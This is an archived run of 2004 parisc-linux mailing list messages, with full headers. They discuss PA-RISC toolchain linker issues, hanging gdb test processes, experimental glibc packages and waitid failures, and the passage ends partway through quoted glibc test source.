> fixup table to contain pc-relative offsets.  I looked at this
> when I reworked the casesi pattern in GCC a few months ago.  This
> makes the table smaller and in many cases the number of instructions
> is less than that with branches in the table (particularly for the
> PIC case).  

well, this is what we used to do, but we don't do this now because it
requires us to be able to do a pc-relative calculation between code in
two different sections (text and fixup), and GAS doesn't allow that
either.

for now i'm using the solution we are using for 64-bit code, which is to
use a manually created long-branch stub (ldil/ldo/bv). since this is 
anyway in a slow-path the performance hit is probably negligible.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] interesting linker behaviour :)
Date: Tue, 21 Sep 2004 18:19:06 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <20040921221905.GI13248@baldric.uwo.ca>
References: <20040921174353.GB13248@baldric.uwo.ca>
	<200409211851.i8LIpT1Z009455@hiauly1.hia.nrc.ca>
	<20040921220458.GH13248@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623569 11172 80.91.229.3 (22 Nov 2014 02:32:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 29173 invoked by uid 65534); 21 Sep 2004 22:19:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx012) with SMTP; 22 Sep 2004 00:19:47 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id F05D63BE1C; Tue, 21 Sep 2004 16:19:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29763-02; Tue, 21 Sep 2004 16:19:27 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B09463BE21; Tue, 21 Sep 2004 16:19:18 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B01073BDFF
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Sep 2004 16:19:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 29328-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Sep 2004 16:19:13 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 5ACAC3BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Sep 2004 16:19:13 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1C9syY-0004Kf-00; Tue, 21 Sep 2004 18:19:06 -0400
Content-Disposition: inline
In-Reply-To: <20040921220458.GH13248@baldric.uwo.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (64% Sync Ratio [======....])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22030

On Tue, Sep 21, 2004 at 06:04:59PM -0400, Carlos O'Donell wrote:
> I think you said we had similar problems with non-local goto's?
> 
> Either we had a conversation about multiple entry points, or I read it
> in one of the HP documents :)

Randolph,

See! If we had a wiki it would be under 'john david anglin says' :)

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] interesting linker behaviour :)
Date: Tue, 21 Sep 2004 18:21:49 -0400 (EDT)
Lines: 23
Approved: news@gmane.org
Message-ID: <200409212221.i8LMLo6J011546@hiauly1.hia.nrc.ca>
References: <20040921220458.GH13248@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623570 11175 80.91.229.3 (22 Nov 2014 02:32:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 14359 invoked by uid 65534); 21 Sep 2004 22:22:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx026) with SMTP; 22 Sep 2004 00:22:09 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id EABFA3BE22; Tue, 21 Sep 2004 16:22:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29763-09; Tue, 21 Sep 2004 16:22:05 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5DC723BE27; Tue, 21 Sep 2004 16:21:56 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 70B353BE21
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Sep 2004 16:21:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 29720-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Sep 2004 16:21:52 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 072253BDFF
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Sep 2004 16:21:51 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i8LMLocP011548; Tue, 21 Sep 2004 18:21:50 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i8LMLo6J011546;
	Tue, 21 Sep 2004 18:21:50 -0400 (EDT)
In-Reply-To: <20040921220458.GH13248@baldric.uwo.ca> from "Carlos O'Donell" at
	Sep 21, 2004 06:04:59 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22031

> > Good catch!  I've hit this problem before but under HP-UX.  GAS doesn't
> > support the alternate entry point fixup needed to support multiple
> > entry points to a function.  I don't think anyone has tried to support
> > this with the ELF tools.  There could be some nasty interactions with
> > the HP unwind data when you start adding multiple entry points to a
> > function.
> 
> I think you said we had similar problems with non-local goto's?

Right, that's where it came up.  As of 6/11/04, we have a new nonlocal_goto
expander.  I'm a little foggy on this issue but I think prior to the
tree-ssa merge the default nonlocal_goto expander was ok.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Hanging processes in T state
Date: Thu, 23 Sep 2004 17:06:46 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <20040924000646.GZ22642@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623570 11178 80.91.229.3 (22 Nov 2014 02:32:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:50 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 1379 invoked by uid 65534); 24 Sep 2004 00:07:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx018) with SMTP; 24 Sep 2004 02:07:16 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4539C3BE0E; Thu, 23 Sep 2004 18:07:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22444-07; Thu, 23 Sep 2004 18:07:14 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A758A3BE12; Thu, 23 Sep 2004 18:06:52 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9E4613BE0A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Sep 2004 18:06:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 23380-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Sep 2004 18:06:47 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id 5F3FF3BDFC
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Sep 2004 18:06:47 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id E7C33CD28A; Thu, 23 Sep 2004 17:06:46 -0700 (PDT)
Content-Disposition: inline
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22032

pa,

Using 2.6.9-rc2 kernels, i see a lot of hanging processes when running
the gdb testsuite. I checked in one fix to arch/parisc/kernel/ptrace.c
that fixes most of them, but i still see some:

e.g.:
 6273 ?        T      0:00 /home/tausq/gdb/build-cvs/gdb/testsuite/gdb.mi/mi-pth
 6272 ?        T      0:00 /home/tausq/gdb/build-cvs/gdb/testsuite/gdb.mi/mi-pth
 6271 ?        T      0:00 /home/tausq/gdb/build-cvs/gdb/testsuite/gdb.mi/mi-pth

all the ones that are hanging seem to be using pthreads. anyone else see
this? anyway want to do some debugging? :)

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hppa glibc 2.3.3 experimental debs,
	chroot testers wanted.
Date: Thu, 23 Sep 2004 23:35:19 -0400
Lines: 39
Approved: news@gmane.org
Message-ID: <20040924033509.GR27033@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623570 11180 80.91.229.3 (22 Nov 2014 02:32:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:50 +0000 (UTC)
Cc: Randolph Chung <tausq@debian.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 12783 invoked by uid 65534); 24 Sep 2004 03:36:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx056) with SMTP; 24 Sep 2004 05:36:26 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5407B3BDF8; Thu, 23 Sep 2004 21:36:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23590-07; Thu, 23 Sep 2004 21:36:02 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 9726E3BE12; Thu, 23 Sep 2004 21:35:34 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C60B23BDFC
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Sep 2004 21:35:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 23578-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Sep 2004 21:35:29 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 703F03BDF8
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Sep 2004 21:35:29 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1CAgrf-0004vU-00; Thu, 23 Sep 2004 23:35:19 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility.
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22033


pa,

These packages are an experimental compilation of glibc 2.3.3 upstream
cvs, along with the latest hppa patches.

Differences between this and the debian glibc are many, debian probably
has some generic bug fixes that this does not.

The main reason to test this glibc is:

- Addition of "memory" constraint for inline asm() syscall wrappers.

- Supported framemarker entries for syscall wrappers, allowing gdb
  to make sense of the wrapper.

They add a bunch of other things not present in the debian glibc. Too
many to mention (COPY reloc fixes, LD_PROFILE fix, generic function
descriptors etc).

In summary I *do not* recommend using these .deb's on anything but a
chroot environment. They *are* tested in my chroot environment and they
do not cause any known problems. There might be one regression in 
tst-waitid, cause unknown.

http://www.parisc-linux.org/~carlos/glibc-work/glibc-2.3.3-debs-2004-09-23/

Binary build only. Haven't cleaned up the debian bits to make it
sourcefull.

Cheers,
Carlos.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] waitid doesn't work on hppa?
Date: Thu, 23 Sep 2004 23:55:53 -0400
Lines: 509
Approved: news@gmane.org
Message-ID: <20040924035552.GS27033@baldric.uwo.ca>
References: <20040924000646.GZ22642@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623571 11184 80.91.229.3 (22 Nov 2014 02:32:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 9554 invoked by uid 65534); 24 Sep 2004 03:56:30 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx032) with SMTP; 24 Sep 2004 05:56:30 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5BA423BE12; Thu, 23 Sep 2004 21:56:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25447-03; Thu, 23 Sep 2004 21:56:25 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7A6D63BE16; Thu, 23 Sep 2004 21:56:11 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A1BFE3BE0E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Sep 2004 21:56:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 23590-10 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Sep 2004 21:56:03 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id DACBC3BDF8
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Sep 2004 21:56:02 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1CAhBZ-0004zf-00; Thu, 23 Sep 2004 23:55:53 -0400
Content-Disposition: inline
In-Reply-To: <20040924000646.GZ22642@tausq.org>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (50% Sync Ratio [=====.....])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22034

On Thu, Sep 23, 2004 at 05:06:46PM -0700, Randolph Chung wrote:
> pa,
> 
> Using 2.6.9-rc2 kernels, i see a lot of hanging processes when running
> the gdb testsuite. I checked in one fix to arch/parisc/kernel/ptrace.c
> that fixes most of them, but i still see some:
> 
> e.g.:
>  6273 ?        T      0:00 /home/tausq/gdb/build-cvs/gdb/testsuite/gdb.mi/mi-pth
>  6272 ?        T      0:00 /home/tausq/gdb/build-cvs/gdb/testsuite/gdb.mi/mi-pth
>  6271 ?        T      0:00 /home/tausq/gdb/build-cvs/gdb/testsuite/gdb.mi/mi-pth
> 
> all the ones that are hanging seem to be using pthreads. anyone else see
> this? anyway want to do some debugging? :)

Bugs in our 64-bit compat for rt_sigqueueinfo acceptance, or siginfo
delivery?

I see waitid regressions in the glibc testsuite. I'm not sure if this
had anything to do with these hanging processes. I haven't looked too
deeply.

I constructed my usual 'out-of-build' test framework and I'm seeing:

Kernel 2.6.9-rc2-pa7, glibc 2.3.3
carlos@firin:~/fsrc/glibc-work/tests/tst-waitid$ ./ntst-waitid 
./ntst-waitid: missing SIGCHLD on stopped
./ntst-waitid: waitid WNOHANG on stopped: Not supported
carlos@firin:~/fsrc/glibc-work/tests/tst-waitid$ echo $?
1

Kernel 2.6.9-rc2-pa7, glibc 2.3.2.ds1-13
carlos@firin:~/fsrc/glibc-work/tests/tst-waitid$ ./tst-waitid 
./tst-waitid: missing SIGCHLD on stopped
./tst-waitid: waitid WSTOPPED|WNOHANG on stopped signal 0

carlos@firin:~/fsrc/glibc-work/tests/tst-waitid$ echo $?
1

Test attached if you wish to work on it? :)

Cheers,
Carlos.

---
/* Tests for waitid.
   Copyright (C) 2004 Free Software Foundation, Inc.
   This file is part of the GNU C Library.

   The GNU C Library is free software; you can redistribute it and/or
   modify it under the terms of the GNU Lesser General Public
   License as published by the Free Software Foundation; either
   version 2.1 of the License, or (at your option) any later version.

   The GNU C Library is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
   Lesser General Public License for more details.

   You should have received a copy of the GNU Lesser General Public
   License along with the GNU C Library; if not, write to the Free
   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
   02111-1307 USA.  */

#include <errno.h>
#include <error.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
#include <signal.h>

#define TIMEOUT 15

static void
test_child (void)
{
  /* Wait a second to be sure the parent set his variables before we
     produce a SIGCHLD.  */
  sleep (5);

  /* First thing, we stop ourselves.  */
  raise (SIGSTOP);

  /* Hey, we got continued!  */
  while (1)
    pause ();
}

#ifndef WEXITED
# define WEXITED	0
# define WCONTINUED	0
# define WSTOPPED	WUNTRACED
#endif

static sig_atomic_t expecting_sigchld, spurious_sigchld;
#ifdef SA_SIGINFO
static siginfo_t sigchld_info;

static void
sigchld (int signo, siginfo_t *info, void *ctx)
{
  if (signo != SIGCHLD)
    {
      error (0, 0, "SIGCHLD handler got signal %d instead!", signo);
      _exit (EXIT_FAILURE);
    }

  if (! expecting_sigchld)
    {
      spurious_sigchld = 1;
      error (0, 0,
	     "spurious SIGCHLD: signo %d code %d status %d pid %d\n",
	     info->si_signo, info->si_code, info->si_status, info->si_pid);
    }
  else
    {
      sigchld_info = *info;
      expecting_sigchld = 0;
    }
}

static void
